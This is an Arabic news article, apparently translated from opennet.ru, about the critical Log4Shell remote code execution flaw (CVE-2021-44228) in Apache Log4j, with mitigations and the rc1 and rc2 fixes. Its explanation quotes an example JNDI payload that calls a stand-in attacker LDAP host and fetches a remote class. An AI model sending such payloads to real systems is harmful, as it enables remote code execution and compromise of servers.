ثغرة أمنية كارثية في Apache Log4j تؤثر على العديد من مشاريع Java

في Apache Log4j، وهو إطار عمل شائع لتنظيم تسجيل الدخول في تطبيقات Java، تم التعرف على ثغرة أمنية حرجة تسمح بتنفيذ تعليمات برمجية عشوائية عند كتابة قيمة منسقة خصيصًا بتنسيق "{jndi:URL}" في السجل. يمكن تنفيذ الهجوم على تطبيقات Java التي تسجل القيم الواردة من مصادر خارجية، على سبيل المثال، عند عرض القيم الإشكالية في رسائل الخطأ.

تجدر الإشارة إلى أن جميع المشاريع تقريبًا التي تستخدم أطر عمل مثل Apache Struts أو Apache Solr أو Apache Druid أو Apache Flink تتأثر بالمشكلة، بما في ذلك عملاء وخوادم Steam وApple iCloud وMinecraft. ومن المتوقع أن تؤدي الثغرة الأمنية إلى موجة من الهجمات الضخمة على تطبيقات الشركات، مما يكرر تاريخ الثغرات الحرجة في إطار عمل Apache Struts، والذي يستخدم، وفقًا لتقدير تقريبي، في تطبيقات الويب بنسبة 65% من شركة Fortune 100 شركة بما في ذلك محاولات فحص الشبكة بحثًا عن الأنظمة الضعيفة.

تتفاقم المشكلة بسبب حقيقة أنه قد تم بالفعل نشر برمجية إكسبلويت فعالة، ولكن لم يتم بعد تجميع الإصلاحات للفروع المستقرة. لم يتم تعيين معرف CVE بعد. تم تضمين الإصلاح فقط في فرع الاختبار log4j-2.15.0-rc1. كحل بديل لحظر الثغرة الأمنية، يوصى بتعيين المعلمة log4j2.formatMsgNoLookups على true.

كانت المشكلة بسبب حقيقة أن log4j يدعم معالجة الأقنعة الخاصة "{}" في الأسطر التي يتم إخراجها إلى السجل، حيث يمكن تنفيذ استعلامات JNDI (واجهة تسمية Java والدليل). يتلخص الهجوم في تمرير سلسلة مع الاستبدال "${jndi:ldap://attacker.com/a}"، عند معالجة log4j الذي سيرسل طلب LDAP للمسار إلى فئة Java إلى خادم Attacker.com . سيتم تحميل المسار الذي تم إرجاعه بواسطة خادم المهاجم (على سبيل المثال، http:// Second-stage.attacker.com/Exploit.class) وتنفيذه في سياق العملية الحالية، مما يسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية على النظام مع حقوق التطبيق الحالي.

الملحق 1: تم تعيين المعرف CVE-2021-44228 للثغرة الأمنية.

الإضافة 2: تم التعرف على طريقة لتجاوز الحماية المضافة بواسطة الإصدار log4j-2.15.0-rc1. تم اقتراح تحديث جديد، log4j-2.15.0-rc2، مع حماية أكثر اكتمالاً ضد الثغرة الأمنية. يسلط الرمز الضوء على التغيير المرتبط بعدم وجود إنهاء غير طبيعي في حالة استخدام عنوان URL لـ JNDI بتنسيق غير صحيح.

المصدر: opennet.ru

إضافة تعليق